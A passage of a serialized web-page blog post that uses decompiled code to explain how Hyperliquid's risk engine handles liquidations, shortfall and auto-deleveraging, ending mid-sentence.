",{"type":23,"tag":2913,"props":158683,"children":158684},{},[158685],{"type":28,"value":158686},"inference",{"type":28,"value":158688},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":2913,"props":158690,"children":158691},{},[158692],{"type":28,"value":158693},"interactive interface",{"type":28,"value":158695},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":446,"props":158697,"children":158699},{"id":158698},"the-million-dollar-question",[158700],{"type":28,"value":158701},"The Million Dollar Question",{"type":23,"tag":24,"props":158703,"children":158704},{},[158705,158707,158712],{"type":28,"value":158706},"Let's say a terrible trader opens a ",{"type":23,"tag":2913,"props":158708,"children":158709},{},[158710],{"type":28,"value":158711},"50x",{"type":28,"value":158713}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":24,"props":158715,"children":158716},{},[158717,158719,158725],{"type":28,"value":158718},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":37,"props":158720,"children":158722},{"className":158721},[],[158723],{"type":28,"value":158724},"compute_margin_requirement_by_mode",{"type":28,"value":158726}," function.",{"type":23,"tag":24,"props":158728,"children":158729},{},[158730],{"type":28,"value":158731},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":158733,"props":158734,"children":158735},"tip",{},[158736],{"type":23,"tag":24,"props":158737,"children":158738},{},[158739,158741,158746,158748,158755,158757,158762],{"type":28,"value":158740},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":2913,"props":158742,"children":158743},{},[158744],{"type":28,"value":158745},"click through",{"type":28,"value":158747}," each action performed by ",{"type":23,"tag":458,"props":158749,"children":158752},{"href":158750,"rel":158751},"https://github.com/renato-osec/patina-research",[462],[158753],{"type":28,"value":158754},"our Rust reverse engineering agent",{"type":28,"value":158756},". Return to the regular view by clicking ",{"type":23,"tag":37,"props":158758,"children":158760},{"className":158759},[],[158761],{"type":28,"value":1634},{"type":28,"value":706},{"type":23,"tag":158764,"props":158765,"children":158767},"bndb-viewer-embed",{"addr":158766,"line-start":317,"line-end":134272},"0x555556bb4d20",[],{"type":23,"tag":24,"props":158769,"children":158770},{},[158771,158773,158779],{"type":28,"value":158772},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":37,"props":158774,"children":158776},{"className":158775},[],[158777],{"type":28,"value":158778},"OptionUnitQty",{"type":28,"value":158780},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":24,"props":158782,"children":158783},{},[158784],{"type":28,"value":158785},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":31,"props":158787,"children":158788},{},[158789],{"type":23,"tag":37,"props":158790,"children":158793},{"className":158791},[3984,158792],"math-display",[158794],{"type":23,"tag":41,"props":158795,"children":158798},{"className":158796},[158797],"katex-display",[158799],{"type":23,"tag":41,"props":158800,"children":158802},{"className":158801},[3990],[158803],{"type":23,"tag":41,"props":158804,"children":158806},{"className":158805,"ariaHidden":3996},[3995],[158807,158838],{"type":23,"tag":41,"props":158808,"children":158810},{"className":158809},[4001],[158811,158815,158825,158829,158834],{"type":23,"tag":41,"props":158812,"children":158814},{"className":158813,"style":94178},[4006],[],{"type":23,"tag":41,"props":158816,"children":158818},{"className":158817},[4012,28],[158819],{"type":23,"tag":41,"props":158820,"children":158822},{"className":158821},[4012],[158823],{"type":28,"value":158824},"liq_equity",{"type":23,"tag":41,"props":158826,"children":158828},{"className":158827,"style":4190},[4092],[],{"type":23,"tag":41,"props":158830,"children":158832},{"className":158831},[4195],[158833],{"type":28,"value":2381},{"type":23,"tag":41,"props":158835,"children":158837},{"className":158836,"style":4190},[4092],[],{"type":23,"tag":41,"props":158839,"children":158841},{"className":158840},[4001],[158842,158847],{"type":23,"tag":41,"props":158843,"children":158846},{"className":158844,"style":158845},[4006],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":41,"props":158848,"children":158850},{"className":158849},[4012],[158851,158855,158973],{"type":23,"tag":41,"props":158852,"children":158854},{"className":158853},[21703,113283],[],{"type":23,"tag":41,"props":158856,"children":158858},{"className":158857},[113288],[158859],{"type":23,"tag":41,"props":158860,"children":158862},{"className":158861},[4033,21628],[158863,158961],{"type":23,"tag":41,"props":158864,"children":158866},{"className":158865},[4038],[158867,158956],{"type":23,"tag":41,"props":158868,"children":158871},{"className":158869,"style":158870},[4043],"height:1.427em;",[158872,158912,158923],{"type":23,"tag":41,"props":158873,"children":158875},{"style":158874},"top:-2.314em;",[158876,158880],{"type":23,"tag":41,"props":158877,"children":158879},{"className":158878,"style":111936},[4052],[],{"type":23,"tag":41,"props":158881,"children":158883},{"className":158882},[4012],[158884,158889,158893,158898,158902],{"type":23,"tag":41,"props":158885,"children":158887},{"className":158886},[4012],[158888],{"type":28,"value":3123},{"type":23,"tag":41,"props":158890,"children":158892},{"className":158891,"style":4093},[4092],[],{"type":23,"tag":41,"props":158894,"children":158896},{"className":158895},[4098],[158897],{"type":28,"value":111027},{"type":23,"tag":41,"props":158899,"children":158901},{"className":158900,"style":4093},[4092],[],{"type":23,"tag":41,"props":158903,"children":158905},{"className":158904},[4012,28],[158906],{"type":23,"tag":41,"props":158907,"children":158909},{"className":158908},[4012],[158910],{"type":28,"value":158911},"leverage",{"type":23,"tag":41,"props":158913,"children":158914},{"style":113338},[158915,158919],{"type":23,"tag":41,"props":158916,"children":158918},{"className":158917,"style":111936},[4052],[],{"type":23,"tag":41,"props":158920,"children":158922},{"className":158921,"style":113348},[113347],[],{"type":23,"tag":41,"props":158924,"children":158926},{"style":158925},"top:-3.677em;",[158927,158931],{"type":23,"tag":41,"props":158928,"children":158930},{"className":158929,"style":111936},[4052],[],{"type":23,"tag":41,"props":158932,"children":158934},{"className":158933},[4012],[158935,158941,158951],{"type":23,"tag":41,"props":158936,"children":158938},{"className":158937},[4012],[158939],{"type":28,"value":158940},"∣",{"type":23,"tag":41,"props":158942,"children":158944},{"className":158943},[4012,28],[158945],{"type":23,"tag":41,"props":158946,"children":158948},{"className":158947},[4012],[158949],{"type":28,"value":158950},"notional",{"type":23,"tag":41,"props":158952,"children":158954},{"className":158953},[4012],[158955],{"type":28,"value":158940},{"type":23,"tag":41,"props":158957,"children":158959},{"className":158958},[21731],[158960],{"type":28,"value":21734},{"type":23,"tag":41,"props":158962,"children":158964},{"className":158963},[4038],[158965],{"type":23,"tag":41,"props":158966,"children":158969},{"className":158967,"style":158968},[4043],"height:0.8804em;",[158970],{"type":23,"tag":41,"props":158971,"children":158972},{},[],{"type":23,"tag":41,"props":158974,"children":158976},{"className":158975},[21725,113283],[],{"type":23,"tag":446,"props":158978,"children":158980},{"id":158979},"what-if-nobody-wants-to-buy-the-position",[158981],{"type":28,"value":158982},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":24,"props":158984,"children":158985},{},[158986],{"type":28,"value":158987},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":24,"props":158989,"children":158990},{},[158991,158993,158998],{"type":28,"value":158992},"When that happens, the exchange is basically left with a ",{"type":23,"tag":2913,"props":158994,"children":158995},{},[158996],{"type":28,"value":158997},"hot potato",{"type":28,"value":158999}," to get rid of: what should it even do with the debt?",{"type":23,"tag":35367,"props":159001,"children":159003},{"id":159002},"the-risk-engine",[159004],{"type":28,"value":159005},"The Risk Engine",{"type":23,"tag":24,"props":159007,"children":159008},{},[159009],{"type":28,"value":159010},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":446,"props":159012,"children":159014},{"id":159013},"clearing-up-bad-debt",[159015],{"type":28,"value":159016},"Clearing Up Bad Debt",{"type":23,"tag":24,"props":159018,"children":159019},{},[159020,159021,159028],{"type":28,"value":16601},{"type":23,"tag":458,"props":159022,"children":159025},{"href":159023,"rel":159024},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[462],[159026],{"type":28,"value":159027},"Hyperliquid docs",{"type":28,"value":159029}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":24,"props":159031,"children":159032},{},[159033,159035,159046,159048,159054,159056,159062],{"type":28,"value":159034},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":458,"props":159036,"children":159039},{"href":159037,"rel":159038},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[462],[159040],{"type":23,"tag":37,"props":159041,"children":159043},{"className":159042},[],[159044],{"type":28,"value":159045},"Clearinghouse",{"type":28,"value":159047},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":37,"props":159049,"children":159051},{"className":159050},[],[159052],{"type":28,"value":159053},"Exchange",{"type":28,"value":159055}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":37,"props":159057,"children":159059},{"className":159058},[],[159060],{"type":28,"value":159061},"MessagePack",{"type":28,"value":159063}," at runtime.",{"type":23,"tag":24,"props":159065,"children":159066},{},[159067],{"type":28,"value":159068},"This data will come in handy both for us and the agent.",{"type":23,"tag":159070,"props":159071,"children":159073},"file-download",{"path":159072},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":24,"props":159075,"children":159076},{},[159077,159079,159084],{"type":28,"value":159078},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":37,"props":159080,"children":159082},{"className":159081},[],[159083],{"type":28,"value":159045},{"type":28,"value":159085},". Some renaming later, we can infer something like this:",{"type":23,"tag":158764,"props":159087,"children":159091},{"source":159088,"target":159089,"direction":159090},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":24,"props":159093,"children":159094},{},[159095,159097,159102,159104,159110],{"type":28,"value":159096},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":37,"props":159098,"children":159100},{"className":159099},[],[159101],{"type":28,"value":159089},{"type":28,"value":159103},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":37,"props":159105,"children":159107},{"className":159106},[],[159108],{"type":28,"value":159109},"exchange_end_block",{"type":28,"value":159111},". So, at the end of each block we run some checks.",{"type":23,"tag":158733,"props":159113,"children":159114},{},[159115],{"type":23,"tag":24,"props":159116,"children":159117},{},[159118],{"type":28,"value":159119},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":24,"props":159121,"children":159122},{},[159123,159125,159131],{"type":28,"value":159124},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":37,"props":159126,"children":159128},{"className":159127},[],[159129],{"type":28,"value":159130},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":159132}," flag.",{"type":23,"tag":158764,"props":159134,"children":159138},{"addr":159135,"line-start":159136,"line-end":159137},"0x555556ac3850","3290","3301",[],{"type":23,"tag":24,"props":159140,"children":159141},{},[159142,159144,159149],{"type":28,"value":159143},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":37,"props":159145,"children":159147},{"className":159146},[],[159148],{"type":28,"value":159045},{"type":28,"value":3155},{"type":23,"tag":546,"props":159151,"children":159153},{"id":159152},"threshold-condition",[159154],{"type":28,"value":159155},"Threshold Condition",{"type":23,"tag":24,"props":159157,"children":159158},{},[159159,159161,159166],{"type":28,"value":159160},"The natural connection between liquidations and ADL is ",{"type":23,"tag":2913,"props":159162,"children":159163},{},[159164],{"type":28,"value":159165},"shortfall",{"type":28,"value":159167},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":24,"props":159169,"children":159170},{},[159171],{"type":28,"value":159172},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":18881,"props":159174,"children":159176},{"id":159175},"who-is-underwater",[159177],{"type":28,"value":159178},"Who Is Underwater?",{"type":23,"tag":24,"props":159180,"children":159181},{},[159182,159184,159189,159191,159197],{"type":28,"value":159183},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":37,"props":159185,"children":159187},{"className":159186},[],[159188],{"type":28,"value":159089},{"type":28,"value":159190},", starting from all user positions, which are stored in ",{"type":23,"tag":37,"props":159192,"children":159194},{"className":159193},[],[159195],{"type":28,"value":159196},"clearinghouse.user_states",{"type":28,"value":159198},", as we can also see from the serialization.",{"type":23,"tag":158733,"props":159200,"children":159201},{},[159202],{"type":23,"tag":24,"props":159203,"children":159204},{},[159205],{"type":28,"value":159206},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":158764,"props":159208,"children":159212},{"source":159209,"target":159109,"direction":159210,"path":159211},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":24,"props":159214,"children":159215},{},[159216,159217,159222,159224,159230,159232,159238,159240,159246],{"type":28,"value":16601},{"type":23,"tag":37,"props":159218,"children":159220},{"className":159219},[],[159221],{"type":28,"value":159209},{"type":28,"value":159223}," essentially turns that into an ",{"type":23,"tag":37,"props":159225,"children":159227},{"className":159226},[],[159228],{"type":28,"value":159229},"Iter",{"type":28,"value":159231},", then, inside of ",{"type":23,"tag":37,"props":159233,"children":159235},{"className":159234},[],[159236],{"type":28,"value":159237},"build_adl_candidate_set",{"type":28,"value":159239}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":37,"props":159241,"children":159243},{"className":159242},[],[159244],{"type":28,"value":159245},"AdlIterEntry",{"type":28,"value":58322},{"type":23,"tag":158764,"props":159248,"children":159250},{"type-name":159249},"AdlIterContext",[],{"type":23,"tag":24,"props":159252,"children":159253},{},[159254,159256,159262,159264,159270,159272,159278,159280,159285],{"type":28,"value":159255},"Note that in storage, ",{"type":23,"tag":37,"props":159257,"children":159259},{"className":159258},[],[159260],{"type":28,"value":159261},"Isolated",{"type":28,"value":159263}," positions have their own independent ",{"type":23,"tag":37,"props":159265,"children":159267},{"className":159266},[],[159268],{"type":28,"value":159269},"Entry",{"type":28,"value":159271}," in the position iterators, and ",{"type":23,"tag":37,"props":159273,"children":159275},{"className":159274},[],[159276],{"type":28,"value":159277},"Cross",{"type":28,"value":159279}," positions have a single common ",{"type":23,"tag":37,"props":159281,"children":159283},{"className":159282},[],[159284],{"type":28,"value":159269},{"type":28,"value":159286},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":158764,"props":159288,"children":159291},{"addr":159289,"line-start":44248,"line-end":159290},"0x555556266b10","163",[],{"type":23,"tag":24,"props":159293,"children":159294},{},[159295],{"type":28,"value":159296},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":158764,"props":159298,"children":159301},{"addr":159135,"line-start":159299,"line-end":159300},"506","527",[],{"type":23,"tag":24,"props":159303,"children":159304},{},[159305,159307],{"type":28,"value":159306},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":159308,"props":159309,"children":159312},"bndb-xref",{"lines":159310,"addrs":159311},"1-2","0x555556ac3e18-0x555556ac3e18",[159313],{"type":28,"value":159314},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":24,"props":159316,"children":159317},{},[159318,159320,159326,159328,159334,159336,159342,159344,159350],{"type":28,"value":159319},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":37,"props":159321,"children":159323},{"className":159322},[],[159324],{"type":28,"value":159325},"only_isolated",{"type":28,"value":159327}," (or ",{"type":23,"tag":37,"props":159329,"children":159331},{"className":159330},[],[159332],{"type":28,"value":159333},"strict_isolated",{"type":28,"value":159335}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":37,"props":159337,"children":159339},{"className":159338},[],[159340],{"type":28,"value":159341},"deferred_queue",{"type":28,"value":159343},", which triggers ADL regardless of the system's ",{"type":23,"tag":37,"props":159345,"children":159347},{"className":159346},[],[159348],{"type":28,"value":159349},"total_shortfall",{"type":28,"value":159351},". This is dictated by this branch.",{"type":23,"tag":158764,"props":159353,"children":159356},{"addr":159135,"line-start":159354,"line-end":159355},"211","243",[],{"type":23,"tag":24,"props":159358,"children":159359},{},[159360,159362,159369],{"type":28,"value":159361},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":458,"props":159363,"children":159366},{"href":159364,"rel":159365},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[462],[159367],{"type":28,"value":159368},"March 2025 incident",{"type":28,"value":159370},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":18881,"props":159372,"children":159374},{"id":159373},"how-do-we-get-rid-of-debt",[159375],{"type":28,"value":159376},"How Do We Get Rid of Debt?",{"type":23,"tag":24,"props":159378,"children":159379},{},[159380],{"type":28,"value":159381},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":24,"props":159383,"children":159384},{},[159385,159387,159392,159394,159399,159401,159406],{"type":28,"value":159386},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":37,"props":159388,"children":159390},{"className":159389},[],[159391],{"type":28,"value":159341},{"type":28,"value":159393}," is overwritten by all the users marked by ",{"type":23,"tag":37,"props":159395,"children":159397},{"className":159396},[],[159398],{"type":28,"value":159237},{"type":28,"value":159400},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":37,"props":159402,"children":159404},{"className":159403},[],[159405],{"type":28,"value":159333},{"type":28,"value":159407}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":158733,"props":159409,"children":159410},{},[159411],{"type":23,"tag":24,"props":159412,"children":159413},{},[159414],{"type":28,"value":159415},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":158764,"props":159417,"children":159420},{"addr":159135,"line-start":159418,"line-end":159419},"523","526",[],{"type":23,"tag":24,"props":159422,"children":159423},{},[159424,159426,159432,159434,159440,159442,159447],{"type":28,"value":159425},"For each underwater position, we do a ",{"type":23,"tag":159308,"props":159427,"children":159429},{"addrs":159428},"0x555556ac42ad-0x555556ac42be",[159430],{"type":28,"value":159431},"B-tree lookup",{"type":28,"value":159433}," on ",{"type":23,"tag":37,"props":159435,"children":159437},{"className":159436},[],[159438],{"type":28,"value":159439},"clearinghouse.user_states[position.user]",{"type":28,"value":159441},", adding them to a ",{"type":23,"tag":37,"props":159443,"children":159445},{"className":159444},[],[159446],{"type":28,"value":17197},{"type":28,"value":159448}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":158764,"props":159450,"children":159453},{"addr":159135,"line-start":159451,"line-end":159452},"635","658",[],{"type":23,"tag":24,"props":159455,"children":159456},{},[159457],{"type":28,"value":159458},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":31,"props":159460,"children":159461},{},[159462],{"type":23,"tag":37,"props":159463,"children":159465},{"className":159464},[3984,158792],[159466],{"type":23,"tag":41,"props":159467,"children":159469},{"className":159468},[158797],[159470],{"type":23,"tag":41,"props":159471,"children":159473},{"className":159472},[3990],[159474],{"type":23,"tag":41,"props":159475,"children":159477},{"className":159476,"ariaHidden":3996},[3995],[159478],{"type":23,"tag":41,"props":159479,"children":159481},{"className":159480},[4001],[159482,159487],{"type":23,"tag":41,"props":159483,"children":159486},{"className":159484,"style":159485},[4006],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":41,"props":159488,"children":159490},{"className":159489},[4012],[159491],{"type":23,"tag":41,"props":159492,"children":159495},{"className":159493},[159494],"mtable",[159496,159576],{"type":23,"tag":41,"props":159497,"children":159500},{"className":159498},[159499],"col-align-r",[159501],{"type":23,"tag":41,"props":159502,"children":159504},{"className":159503},[4033,21628],[159505,159564],{"type":23,"tag":41,"props":159506,"children":159508},{"className":159507},[4038],[159509,159559],{"type":23,"tag":41,"props":159510,"children":159513},{"className":159511,"style":159512},[4043],"height:2.3452em;",[159514,159537],{"type":23,"tag":41,"props":159515,"children":159517},{"style":159516},"top:-4.3452em;",[159518,159523],{"type":23,"tag":41,"props":159519,"children":159522},{"className":159520,"style":159521},[4052],"height:3.3944em;",[],{"type":23,"tag":41,"props":159524,"children":159526},{"className":159525},[4012],[159527],{"type":23,"tag":41,"props":159528,"children":159530},{"className":159529},[4012,28],[159531],{"type":23,"tag":41,"props":159532,"children":159534},{"className":159533},[4012],[159535],{"type":28,"value":159536},"position_weight",{"type":23,"tag":41,"props":159538,"children":159540},{"style":159539},"top:-2.2092em;",[159541,159545],{"type":23,"tag":41,"props":159542,"children":159544},{"className":159543,"style":159521},[4052],[],{"type":23,"tag":41,"props":159546,"children":159548},{"className":159547},[4012],[159549],{"type":23,"tag":41,"props":159550,"children":159552},{"className":159551},[4012,28],[159553],{"type":23,"tag":41,"props":159554,"children":159556},{"className":159555},[4012],[159557],{"type":28,"value":159558},"position_adl_amount",{"type":23,"tag":41,"props":159560,"children":159562},{"className":159561},[21731],[159563],{"type":28,"value":21734},{"type":23,"tag":41,"props":159565,"children":159567},{"className":159566},[4038],[159568],{"type":23,"tag":41,"props":159569,"children":159572},{"className":159570,"style":159571},[4043],"height:1.8452em;",[159573],{"type":23,"tag":41,"props":159574,"children":159575},{},[],{"type":23,"tag":41,"props":159577,"children":159580},{"className":159578},[159579],"col-align-l",[159581],{"type":23,"tag":41,"props":159582,"children":159584},{"className":159583},[4033,21628],[159585,159786],{"type":23,"tag":41,"props":159586,"children":159588},{"className":159587},[4038],[159589,159781],{"type":23,"tag":41,"props":159590,"children":159592},{"className":159591,"style":159512},[4043],[159593,159721],{"type":23,"tag":41,"props":159594,"children":159595},{"style":159516},[159596,159600],{"type":23,"tag":41,"props":159597,"children":159599},{"className":159598,"style":159521},[4052],[],{"type":23,"tag":41,"props":159601,"children":159603},{"className":159602},[4012],[159604,159608,159612,159617,159621],{"type":23,"tag":41,"props":159605,"children":159607},{"className":159606},[4012],[],{"type":23,"tag":41,"props":159609,"children":159611},{"className":159610,"style":4190},[4092],[],{"type":23,"tag":41,"props":159613,"children":159615},{"className":159614},[4195],[159616],{"type":28,"value":2381},{"type":23,"tag":41,"props":159618,"children":159620},{"className":159619,"style":4190},[4092],[],{"type":23,"tag":41,"props":159622,"children":159624},{"className":159623},[4012],[159625,159629,159717],{"type":23,"tag":41,"props":159626,"children":159628},{"className":159627},[21703,113283],[],{"type":23,"tag":41,"props":159630,"children":159632},{"className":159631},[113288],[159633],{"type":23,"tag":41,"props":159634,"children":159636},{"className":159635},[4033,21628],[159637,159705],{"type":23,"tag":41,"props":159638,"children":159640},{"className":159639},[4038],[159641,159700],{"type":23,"tag":41,"props":159642,"children":159645},{"className":159643,"style":159644},[4043],"height:1.3944em;",[159646,159667,159678],{"type":23,"tag":41,"props":159647,"children":159648},{"style":158874},[159649,159653],{"type":23,"tag":41,"props":159650,"children":159652},{"className":159651,"style":111936},[4052],[],{"type":23,"tag":41,"props":159654,"children":159656},{"className":159655},[4012],[159657],{"type":23,"tag":41,"props":159658,"children":159660},{"className":159659},[4012,28],[159661],{"type":23,"tag":41,"props":159662,"children":159664},{"className":159663},[4012],[159665],{"type":28,"value":159666},"total_cross_notional",{"type":23,"tag":41,"props":159668,"children":159669},{"style":113338},[159670,159674],{"type":23,"tag":41,"props":159671,"children":159673},{"className":159672,"style":111936},[4052],[],{"type":23,"tag":41,"props":159675,"children":159677},{"className":159676,"style":113348},[113347],[],{"type":23,"tag":41,"props":159679,"children":159681},{"style":159680},"top:-3.7em;",[159682,159686],{"type":23,"tag":41,"props":159683,"children":159685},{"className":159684,"style":111936},[4052],[],{"type":23,"tag":41,"props":159687,"children":159689},{"className":159688},[4012],[159690],{"type":23,"tag":41,"props":159691,"children":159693},{"className":159692},[4012,28],[159694],{"type":23,"tag":41,"props":159695,"children":159697},{"className":159696},[4012],[159698],{"type":28,"value":159699},"position_notional",{"type":23,"tag":41,"props":159701,"children":159703},{"className":159702},[21731],[159704],{"type":28,"value":21734},{"type":23,"tag":41,"props":159706,"children":159708},{"className":159707},[4038],[159709],{"type":23,"tag":41,"props":159710,"children":159713},{"className":159711,"style":159712},[4043],"height:0.996em;",[159714],{"type":23,"tag":41,"props":159715,"children":159716},{},[],{"type":23,"tag":41,"props":159718,"children":159720},{"className":159719},[21725,113283],[],{"type":23,"tag":41,"props":159722,"children":159723},{"style":159539},[159724,159728],{"type":23,"tag":41,"props":159725,"children":159727},{"className":159726,"style":159521},[4052],[],{"type":23,"tag":41,"props":159729,"children":159731},{"className":159730},[4012],[159732,159736,159740,159745,159749,159759,159763,159768,159772],{"type":23,"tag":41,"props":159733,"children":159735},{"className":159734},[4012],[],{"type":23,"tag":41,"props":159737,"children":159739},{"className":159738,"style":4190},[4092],[],{"type":23,"tag":41,"props":159741,"children":159743},{"className":159742},[4195],[159744],{"type":28,"value":2381},{"type":23,"tag":41,"props":159746,"children":159748},{"className":159747,"style":4190},[4092],[],{"type":23,"tag":41,"props":159750,"children":159752},{"className":159751},[4012,28],[159753],{"type":23,"tag":41,"props":159754,"children":159756},{"className":159755},[4012],[159757],{"type":28,"value":159758},"user_shortfall",{"type":23,"tag":41,"props":159760,"children":159762},{"className":159761,"style":4093},[4092],[],{"type":23,"tag":41,"props":159764,"children":159766},{"className":159765},[4098],[159767],{"type":28,"value":111027},{"type":23,"tag":41,"props":159769,"children":159771},{"className":159770,"style":4093},[4092],[],{"type":23,"tag":41,"props":159773,"children":159775},{"className":159774},[4012,28],[159776],{"type":23,"tag":41,"props":159777,"children":159779},{"className":159778},[4012],[159780],{"type":28,"value":159536},{"type":23,"tag":41,"props":159782,"children":159784},{"className":159783},[21731],[159785],{"type":28,"value":21734},{"type":23,"tag":41,"props":159787,"children":159789},{"className":159788},[4038],[159790],{"type":23,"tag":41,"props":159791,"children":159793},{"className":159792,"style":159571},[4043],[159794],{"type":23,"tag":41,"props":159795,"children":159796},{},[],{"type":23,"tag":24,"props":159798,"children":159799},{},[159800],{"type":28,"value":159801},"We do that here:",{"type":23,"tag":158764,"props":159803,"children":159806},{"addr":159135,"line-start":159804,"line-end":159805},"828","981",[],{"type":23,"tag":24,"props":159808,"children":159809},{},[159810,159811,159817,159819,159825],{"type":28,"value":16601},{"type":23,"tag":159308,"props":159812,"children":159814},{"lines":159813},"77-79",[159815],{"type":28,"value":159816},"inner loop",{"type":28,"value":159818}," above spans all ",{"type":23,"tag":37,"props":159820,"children":159822},{"className":159821},[],[159823],{"type":28,"value":159824},"(asset_idx, direction)",{"type":28,"value":159826}," held in the cross margin position.",{"type":23,"tag":24,"props":159828,"children":159829},{},[159830,159832,159838,159840,159846,159847,159853],{"type":28,"value":159831},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":37,"props":159833,"children":159835},{"className":159834},[],[159836],{"type":28,"value":159837},"adl_output",{"type":28,"value":159839}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":37,"props":159841,"children":159843},{"className":159842},[],[159844],{"type":28,"value":159845},"position_id",{"type":28,"value":1361},{"type":23,"tag":37,"props":159848,"children":159850},{"className":159849},[],[159851],{"type":28,"value":159852},"position_shortfall",{"type":28,"value":706},{"type":23,"tag":158764,"props":159855,"children":159858},{"addr":159135,"line-start":159856,"line-end":159857},"2377","2469",[],{"type":23,"tag":24,"props":159860,"children":159861},{},[159862,159864,159870],{"type":28,"value":159863},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":37,"props":159865,"children":159867},{"className":159866},[],[159868],{"type":28,"value":159869},"(position_id, cut)",{"type":28,"value":159871},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":24,"props":159873,"children":159874},{},[159875,159877,159882],{"type":28,"value":159876},"The final phase of ",{"type":23,"tag":37,"props":159878,"children":159880},{"className":159879},[],[159881],{"type":28,"value":159089},{"type":28,"value":159883}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":158764,"props":159885,"children":159888},{"addr":159135,"addr-start":159886,"addr-end":159887},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":24,"props":159890,"children":159891},{},[159892],{"type":28,"value":159893},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":35367,"props":159895,"children":159897},{"id":159896},"who-do-we-deleverage",[159898],{"type":28,"value":159899},"Who Do We Deleverage?",{"type":23,"tag":24,"props":159901,"children":159902},{},[159903],{"type":28,"value":159904},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":24,"props":159906,"children":159907},{},[159908],{"type":28,"value":159909},"But what do we mean by fairness? Colloquially, we 